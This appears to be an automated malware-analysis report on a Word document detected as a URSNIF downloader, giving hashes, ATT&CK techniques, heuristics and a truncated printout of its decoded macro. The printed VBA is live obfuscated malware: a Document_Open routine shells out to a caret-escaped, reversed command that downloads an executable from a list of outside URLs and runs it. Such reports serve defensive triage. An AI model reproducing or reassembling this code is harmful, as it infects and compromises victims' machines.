Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ae0bf65f3ad9d213…

MALICIOUS

Office (OLE)

73.4 KB Created: 2018-09-06 04:22:00 Authoring application: Microsoft Office Word First seen: 2019-04-17
MD5: 5a5e4bb5c07ea7ea085f84f749ade98f SHA-1: 9628bdbb51090d477e0aacef45190bcd18352c0f SHA-256: ae0bf65f3ad9d21353ac9d327ae06b2b76d1c6e620a40f824b69ce4a53eb5bfc
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample contains VBA macros, including a Document_Open macro that utilizes the Shell() function. This indicates an attempt to execute arbitrary commands, likely to download and run a secondary payload. The ClamAV detection as 'Doc.Downloader.URSNIF' further supports this downloader functionality. The script attempts to construct a command line starting with 'cmd /V:ON /C "set Xx= '.

Heuristics 5

  • ClamAV: Doc.Downloader.URSNIF-6729855-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.URSNIF-6729855-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5486 bytes
SHA-256: d043f38ac216aa92105c0d48235b08d2cca5e4dd6b1e9f07b7bff01d8e95f009
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "bILIMudHM"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On _
Error _
Resume _
Next
   Hour "7908" + "Mc" + "pnlbGZjiiNFS" + "5359"
   Hour "1903" + "z"
   Hour "203698224" + "499427449"
   Hour "9588" + "97751866" + "303160161" + "fIPZ"
   Hour "Da" + "8794094" + "498761657" + "120292522"
VBA.Shell CleanString(jsW) + NpRmiIBA + MJDSZuET + uFrfiGmzs + JbBHjDbSkjR + HzTFZfWKRK + rlYviiMFztuVJ + CYBDTFZFV, 87 - 87
   Hour "bZ" + "MRcRVHzvvBi"
   Hour "Bz" + "107542847"
End Sub



Attribute VB_Name = "AzDXWDPPnSfDd"
Function uFrfiGmzs()

On _
Error _
Resume _
Next
Hour "zEYXjRl" + "oPbqTrTYz" + "XYjDtKvn" + "5379"
   Hour "Trwhz" + "oqfYBiiCv" + "KDt" + "163675440"
   Hour "EkwC" + "5560" + "3885" + "SY"
RvpskSRQ = "cmd /" + "V^:^ON" + "/C" + Chr(3 + 3 + 1 + 0 + 27) + "^" + "set ^9^" + "X^x" + "= ^    " + " " + "   ^ " + "^   " + "^ " + "^ ^  ^}" + "^}{^hct"
Hour "wrT" + "DSYYATwA"
   Hour "FOVsVSHXi" + "1648"
   Hour "478741409" + "aqmHETPOYn" + "iATHOiMJ" + "505518077"
   Hour "2559657" + "YLITRm"
SrrRtIZ = "^" + "ac}" + "^;k^a^e" + "r" + "b^;n^" + "z^E^" + "$^ m" + "^e^t^" + "I^-" + "^" + "e^k^ov" + "n^I;)n" + "^"
Hour "220163326" + "6082" + "hS" + "3425"
   Hour "386908995" + "8572"
   Hour "5002" + "V"
qblZcptjEVR = "z" + "^E$" + " ^,^P^" + "YG$(e^" + "li^F^da"
Hour "okqmoVc" + "2811"
   Hour "jA" + "rq"
IwbjdfQwjWN = "olnwo" + "D.U" + "Y^S${yr" + "t^{)" + "qRn^$ " + "ni" + "^ ^P^Y^" + "G" + "$(" + "hc" + "ae" + "r"
Hour "sFNjNmhUW" + "O"
   Hour "oL" + "348528871"
   Hour "7966" + "161365601"
   Hour "icFaiuvsjmSFz" + "JX" + "282799893" + "XwwV"
   Hour "tzmmXnrBXWu" + "189449331" + "q" + "bFLdt"
Djrtiia = "^o^f^;" + "'^ex^e." + "'^+^j" + "aw^$" + "+^'\" + "'^+c^i" + "lbup:v" + "n" + "e$^=n" + "^zE$^;^" + "'5^"
Hour "475472987" + "w" + "TJjw" + "7060"
   Hour "388964312" + "XKGPKZ"
HcYjsED = "07' =" + " j^" + "a^w$;" + ")^'" + "@'(^" + "ti^l^p" + "S^" + ".^'w^"
Hour "oLVh" + "avJcCYnjhGRF" + "3747" + "zoz"
   Hour "fq" + "124901621" + "kkf" + "108190266"
   Hour "WOzfEX" + "AE" + "fIYz" + "qfbffwzqCj"
   Hour "TArq" + "416" + "Ksnf" + "407531042"
JwjqbtcuvPM = "p^d" + "^Y^d^b^" + "y/^or" + "^.i^o" + "h^or" + "^" + "odla" + "ir^a^" + "t^on^u"
Hour "476671357" + "nbnrSsJUNMzHXZ" + "121633223" + "wwDnVBU"
   Hour "w" + "PtAMKsSaEb"
   Hour "HLn" + "XFWD"
dUdXHDTn = "^o" + "rib/" + "/^" + ":p" + "tth" + "@^l" + "^K" + "7rn^kZ^" + "9" + "RE/m" + "oc^." + "artx"
uFrfiGmzs = RvpskSRQ + SrrRtIZ + qblZcptjEVR + IwbjdfQwjWN + Djrtiia + HcYjsED + JwjqbtcuvPM + dUdXHDTn
   Hour "O" + "pirsi" + "Du" + "pkUVbBovzSzAj"
End Function
Function JbBHjDbSkjR()

On _
Error _
Resume _
Next
Hour "CV" + "d" + "PT" + "5705"
   Hour "81954035" + "zIqv" + "668" + "aPIhIVvcXwas"
   Hour "ROFbmZjNNwAO" + "MoSj" + "TaTWIVkC" + "vfVj"
SoFjZ = "^emi^l^" + "iza^y" + "//^" + ":ptth" + "@" + "r5"
Hour "115337146" + "WAYYuFkqkcl"
   Hour "rTDtICq" + "NtNHhJN"
   Hour "SbmwUUPmkQkh" + "44025423"
BzGYajV = "^h" + "^" + "62LTu^" + "P/cc" + ".tn" + "e" + "c^s^e" + "r^o^u^l" + "f" + "//" + ":pt"
Hour "KZDzzNSDY" + "FDUblUlo"
   Hour "d" + "2257" + "ni" + "3846"
   Hour "2492967" + "rcNQoCN"
   Hour "116" + "Cljo"
DXOamwq = "t" + "h^@Z" + "^l^Qg^l" + "^" + "x"
Hour "GwjLqfd" + "nWIj" + "5021" + "pYiY"
   Hour "268862273" + "95491987" + "352435894" + "j"
   Hour "JMWpp" + "lCq"
IJMWRdFS = "9VL^X/" + "^" + "ur^.bp" + "s" + "^.^" + "k^i^tro" + "t//" + ":^p^"
Hour "333210332" + "G"
   Hour "426522385" + "loRmwSasIN"
EDJAHa = "tt^" + "h@" + "^8X^h" + "^" + "oB^" + "D^" + "Y^" + "1/m^oc^" + ".^s^" + "lle^w^" + "a^i" + "cy^la" + "//^:^pt"
Hour "NohkNTnL" + "386734175" + "GtD" + "4880"
OinpDjmrBJ = "^t^h'" + "^=" + "qR" + "n$;t" + "n^e" + "il" + "C" + "^b^e^" + "W" + "."
Hour "166074422" + "AF" + "6017" + "3926"
   Hour "fUnW" + "iC
... (truncated)